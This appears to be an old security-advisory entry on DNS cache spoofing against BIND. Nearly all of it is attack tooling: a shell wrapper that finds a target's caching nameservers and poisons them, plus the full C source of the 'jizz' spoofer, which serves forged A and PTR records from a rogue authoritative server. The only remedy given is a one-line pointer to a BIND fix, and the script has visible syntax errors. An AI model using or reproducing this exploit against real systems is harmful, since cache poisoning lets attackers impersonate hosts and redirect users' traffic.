COMMAND
DNS spoofing
SYSTEMS AFFECTED
Most of them
PROBLEM
Philbert posted following. Alot of people ask about DNS spoofing
and how common utilities like "jizz" work. Jizz and the like are
not generally easy utilities to use even if you do have an
authorative nameserver. The idea is not simple and the
instructions with such utils arn't very self explanatory. On top
of that, even if you understand it completelly with any of them
you have to either know what the target is using as a cacheing
nameserver or otherwise make a calculated guess. Philbert wrote a
script interface to the commonly available jizz binary to make it
a: alot simpler to understand and b: his script will
automatically try to determine the destinations nameserver and
cache the domain on it, so that the only thing required to enter
after the nameserver info is set up is the IP of the client,
domain name you want to spoof, and destination server (IRC server
or what not). The script does the rest for you. Here is the
script:
--- begin jizz.sh ---
#!/bin/sh
#
# This script requires perl and the latest version of sh-utils for calculations,
# as well as other various standard unix utilities.
#
# This interface DOES NOT require you to know the cacheing nameserver of
# the destination server, it will attempt to calculate it for you.
#
case "${3}" in
"")
echo
echo "Intelligent DNS spoofer interface, by philbert."
echo "(philbert@DataTrax.Net)"
echo
echo "usage: $0 <your ip> <spoofed domain> <irc/misc server>"
echo "or: $0 <your ip> <spoofed domain> -ns <NS to cache fake domain>"
echo
exit 1
;;
esac
# ----------------------------------------------------------
# Set the configurations for your nameserver here
# The name of the nameserver this is running on:
NS=ns3.datatrax.net
# The IP address of the nameserver this is running on:
IP=1.2.3.4
# A domain that this nameserver is strictly authorative for:
AUTH=spoof.datatrax.net
# End of user configuration
# ----------------------------------------------------------
RAND=$RANDOM
export RAND
jizz $RAND.$AUTH. $NS $IP $AUTH $1 $2. >/dev/null &
sleep 1
if [ "$3" = "-ns" ]; then
echo "echo "trying to cache $2 on $4..."
nslookup -type=soa $RAND.$AUTH. $4 >/dev/null 2>&1
echo "$1 is cached on $2 as `nslookup $1 $2 | grep Name | cut -c10-`
exit 1
else false ; fi
NS=`host $3. | perl -n -e 's/([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/print $1/e'`
if [ "NS" = "" ]; then NS=$3; else NS=$NS; fi
echo "trying to cache $2 on the server itself..."
nslookup -type=soa $RAND.$AUTH. $NS >/dev/null 2>&1
TEST=`nslookup $1 $3 | grep Name | cut -c10-`
if [ "$TEST" = "$2" ]; then
echo "Success!, $2 is cached on $3 as $1"
else echo "Failed..."; fi
RDEST=`nslookup $NS | grep Name | cut -c10-`
if [ "$RDEST" = "" ]; then RDEST=$3; else RDEST=$RDEST; fi
NS=`dnsquery $RDEST | grep "IN NS" | cut -f3- | cut -f2- -dS`
if [ "$NS" = "" ]; then
NS=`echo $RDEST | cut -f2- -d.`
NS=`dnsquery $NS | grep "IN NS" | cut -f3- | cut -f2- -dS`
else NS=$NS; fi
CRUNCH=1
while true ; do
TARGET=`echo $NS | cut -f$CRUNCH -d" "`
if [ "$TARGET" = "" ]; then
killall -9 jizz >/dev/null &
exit 1; else TARGET=$TARGET; fi
echo "trying to cache $2 on $TARGET..."
nslookup -type=soa $RAND.$AUTH. $TARGET >/dev/null 2>&1
TEST=`nslookup $1 $TARGET | grep Name | cut -c10-`
if [ "$TEST" = "$2" ]; then
echo "Success!, $2 is cached on $TARGET as $1"
else echo "Failed..."; fi
CRUNCH=`expr $CRUNCH + 1`
done
--- end jizz.sh ---
jizz can be found at: http://rootshell.connectnet.com/jizz.c
Also I will include it below:
#define VERSION ".01b"
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <strings.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#define MAXBUFSIZE 64*1024
#define DC_A 1
#define DC_NS 2
#define DC_CNAME 5
#define DC_SOA 6
#define DC_WKS 11
#define DC_PTR 12
#define DC_HINFO 13
#define DC_MINFO 14
#define DC_MX 15
#define DC_TXT 16
typedef struct {
unsigned short id;
unsigned char rd:1; /* recursion desired */
unsigned char tc:1; /* truncated message */
unsigned char aa:1; /* authoritive answer */
unsigned char opcode:4; /* purpose of message */
unsigned char qr:1; /* response flag */
unsigned char rcode:4; /* response code */
unsigned char unused:2; /* unused bits */
unsigned char pr:1; /* primary server required (non standard) */
unsigned char ra:1; /* recursion available */
unsigned short qdcount;
unsigned short ancount;
unsigned short nscount;
unsigned short arcount;
} dnsheaderrec;
typedef struct {
unsigned short labellen;
char label[256];
unsigned short type;
unsigned short class;
unsigned long ttl;
unsigned short buflen;
char buf[256];
} dnsrrrec;
typedef struct {
dnsheaderrec h;
dnsrrrec qd[20];
dnsrrrec an[20];
dnsrrrec ns[20];
dnsrrrec ar[20];
} dnsrec;
char *dnssprintflabel(char *s, char *buf, char *p);
char *dnsaddlabel(char *p, char *label);
void dnstxt2rr(dnsrrrec *rr, char *b);
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, s
hort arcount, ...);
char *dnsaddbuf(char *p, void *buf, short len);
int dnsmakerawpacket(dnsrec *dns, char *buf);
unsigned long rev_long(l) unsigned long l;
{
unsigned long i = 0;
int n = sizeof(i);
while (n--) {
i = (i << 8) | (l & 255); l >>= 8;
}
return i;
}
char *dnssprintflabel(char *s, char *buf, char *p)
{
unsigned short i,len;
char *b=NULL;
len=(unsigned short)*(p++);
while (len) {
while (len >= 0xC0) {
if (!b)
b=p+1;
p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
len=(unsigned short)*(p++);
}
for (i=0;i<len;i++)
*(s++)=*(p++);
*(s++)='.';
len=(unsigned short)*(p++);
}
*(s++)=0;
if (b)
return(b);
return(p);
}
char *dnsaddlabel(char *p, char *label)
{
char *p1;
while ((*label) && (label)) {
if ((*label == '.') && (!*(label+1)))
break;
p1=strchr(label,'.');
if (!p1)
p1=strchr(label,0);
*(p++)=p1-label;
memcpy(p,label,p1-label);
p+=p1-label;
label=p1;
if (*p1)
label++;
}
*(p++)=0;
return(p);
}
#define DEFAULTTTL 60*10
void dnstxt2rr(dnsrrrec *rr, char *b)
{
char *tok[20], *p;
unsigned short numt=0, i;
static char *buf=NULL;
if (!buf) {
if ((buf=malloc(1024)) == NULL) {
perror("malloc");
exit(-1);
}
}
strcpy(buf,b);
p=strtok(buf," \t");
do {
tok[numt++]=p;
} while (p=strtok(NULL," \t"));
p=dnsaddlabel(rr->label,tok[0]);
rr->labellen=p-rr->label;
i=1;
if (isdigit(*p))
rr->ttl=htonl(atol(tok[i++]));
else
rr->ttl=htonl(DEFAULTTTL);
if (strcmp(tok[i],"IN") == 0)
i++;
rr->class=htons(1);
if (strcmp(tok[i],"A") == 0) {
i++;
rr->type=htons(DC_A);
if (i < numt) {
inet_aton(tok[i],rr->buf);
rr->buflen=4;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"CNAME") == 0) {
i++;
rr->type=htons(DC_CNAME);
if (i < numt) {
p=dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"NS") == 0) {
i++;
rr->type=htons(DC_NS);
if (i < numt) {
p=dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"PTR") == 0) {
i++;
rr->type=htons(DC_PTR);
if (i < numt) {
p=dnsaddlabel(rr->buf,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
if (strcmp(tok[i],"MX") == 0) {
i++;
rr->type=htons(DC_MX);
if (i < numt) {
p=rr->buf;
*((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
p=dnsaddlabel(p,tok[i]);
rr->buflen=p-rr->buf;
} else
rr->buflen=0;
return;
}
}
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, s
hort arcount, ...)
{
int i;
va_list va;
dns->h.qdcount=htons(qdcount);
dns->h.ancount=htons(ancount);
dns->h.nscount=htons(nscount);
dns->h.arcount=htons(arcount);
dns->h.rcode=0;
va_start(va, arcount);
for (i=0;i<qdcount;i++)
dnstxt2rr(&dns->qd[i],va_arg(va, char *));
for (i=0;i<ancount;i++)
dnstxt2rr(&dns->an[i],va_arg(va, char *));
for (i=0;i<nscount;i++)
dnstxt2rr(&dns->ns[i],va_arg(va, char *));
for (i=0;i<arcount;i++)
dnstxt2rr(&dns->ar[i],va_arg(va, char *));
va_end(va);
}
char *dnsaddbuf(char *p, void *buf, short len)
{
memcpy(p,buf,len);
return(p+len);
}
int dnsmakerawpacket(dnsrec *dns, char *buf)
{
char *p;
int i;
unsigned short len;
memcpy(buf,&dns->h,sizeof(dnsheaderrec));
p=buf+sizeof(dnsheaderrec);
/********** Query ***********/
for (i=0;i<ntohs(dns->h.qdcount);i++) {
p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
p=dnsaddbuf(p,&dns->qd[i].type,2);
p=dnsaddbuf(p,&dns->qd[i].class,2);
}
/********** Answer ***********/
for (i=0;i<ntohs(dns->h.ancount);i++) {
p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
p=dnsaddbuf(p,&dns->an[i].type,2);
p=dnsaddbuf(p,&dns->an[i].class,2);
p=dnsaddbuf(p,&dns->an[i].ttl,4);
len=htons(dns->an[i].buflen);
p=dnsaddbuf(p,&len,2);
p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
}
/********** Nameservers ************/
for (i=0;i<ntohs(dns->h.nscount);i++) {
p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
p=dnsaddbuf(p,&dns->ns[i].type,2);
p=dnsaddbuf(p,&dns->ns[i].class,2);
p=dnsaddbuf(p,&dns->ns[i].ttl,4);
len=htons(dns->ns[i].buflen);
p=dnsaddbuf(p,&len,2);
p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
}
/********** Additional ************/
for (i=0;i<ntohs(dns->h.arcount);i++) {
p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
p=dnsaddbuf(p,&dns->ar[i].type,2);
p=dnsaddbuf(p,&dns->ar[i].class,2);
p=dnsaddbuf(p,&dns->ar[i].ttl,4);
len=htons(dns->ar[i].buflen);
p=dnsaddbuf(p,&len,2);
p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
}
return(p-buf);
}
void main(int argc, char *argv[])
{
int sock, fromlen, numread, len, query;
struct sockaddr_in sa, from, to;
struct in_addr rev;
char *buf, *sendbuf;
char *domainnamebuf;
dnsheaderrec *dns;
char *p;
dnsrec dnsh;
char *beginhost_QD, *beginhost_A, *beginhost_srch;
char *fakenshost_A, *fakens_DOM;
char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev;
printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION);
printf("by nimrood\n\n");
if (argc != 7) {
printf("usage: \n%s <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofe
dip> <spoofedhost>\n",argv[0]);
printf(" beginhost : requested to initiate false caching, ex: begin
.ib6ub9.com\n");
printf(" fakenshost : server name to answer false PTR's, ex: ns.ib6u
b9.com\n");
printf(" fakensip : IP of server name to answer false PTR's, ex: 2
05.160.29.19\n");
printf(" fakensdom : domain name false name server controls, ex: ib
6ub9.com\n");
printf(" spoofedip : IP of machine you want to spoof from, ex: 204.
154.2.93\n");
printf(" spoofedhost: name you want to spoof, ex: teak.0wns.j00\n\n"
);
exit(-1);
}
if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL) {
perror("malloc");
exit(-1);
}
if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL) {
perror("malloc");
exit(-1);
}
if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL) {
perror("malloc");
exit(-1);
}
if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL) {
perror("malloc");
exit(-1);
}
if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL) {
perror("malloc");
exit(-1);
}
if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL) {
perror("malloc");
exit(-1);
}
if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL) {
perror("malloc");
exit(-1);
}
if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL) {
perror("malloc");
exit(-1);
}
if ((buf = malloc(MAXBUFSIZE)) == NULL) {
perror("malloc");
exit(-1);
}
if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
perror("malloc");
exit(-1);
}
if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
perror("malloc");
exit(-1);
}
if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(-1);
}
beginhost_QD = strcpy(beginhost_QD,argv[1]);
beginhost_QD = strcat(beginhost_QD, " IN A");
beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1");
beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), ".");
printf("%s\n",beginhost_srch);
fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A ");
fakenshost_A = strcat(fakenshost_A, argv[3]);
fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS ");
fakens_DOM = strcat(fakens_DOM,argv[2]);
spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A ");
spoofedip_A = strcat(spoofedip_A,argv[5]);
rev.s_addr = rev_long(inet_addr(argv[5]));
spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), "
.IN-ADDR.ARPA IN PTR ");
spoofedip_PTR = strcat(spoofedip_PTR,argv[6]);
printf("%s\n%s\n%s\n%s\n%s\n%s\n",
beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_
PTR);
sa.sin_family = AF_INET;
/* sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(53);
if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind");
exit(-1);
}
setvbuf(stdout,NULL,_IONBF,0);
while (1) {
fromlen=sizeof(from);
if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from,
&fromlen)) < 0) {
perror("recvfrom");
continue;
}
/* Kludge to stop that damn router */
if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
continue;
dns=(dnsheaderrec *)buf;
if (dns->qr)
continue;
p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
query=ntohs(*(unsigned short *)p);
printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(fro
m.sin_port),domainnamebuf,query);
if (strcasecmp(domainnamebuf,beginhost_srch) == 0) {
dnsbuildpacket(&dnsh,1,4,1,1,
beginhost_QD,
beginhost_A,
spoofedip_A,
spoofedip_PTR,
fakenshost_A,
fakens_DOM,
"www.yahoo.com IN A 255.255.255.255");
} else {
/* Error */
dnsh.h.rcode=5;
strcat(domainnamebuf," IN A");
dnsbuildpacket(&dnsh,1,0,0,0,
domainnamebuf);
}
dnsh.qd[0].type=htons(query);
dnsh.h.id=((dnsheaderrec *)buf)->id;
dnsh.h.qr=1;
dnsh.h.aa=1;
len=dnsmakerawpacket(&dnsh,sendbuf);
to.sin_family=AF_INET;
to.sin_addr.s_addr=from.sin_addr.s_addr;
to.sin_port=from.sin_port;
if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
perror("sendto");
continue;
}
}
}
SOLUTION
Consult BIND #7 on mUNIXes page on this site.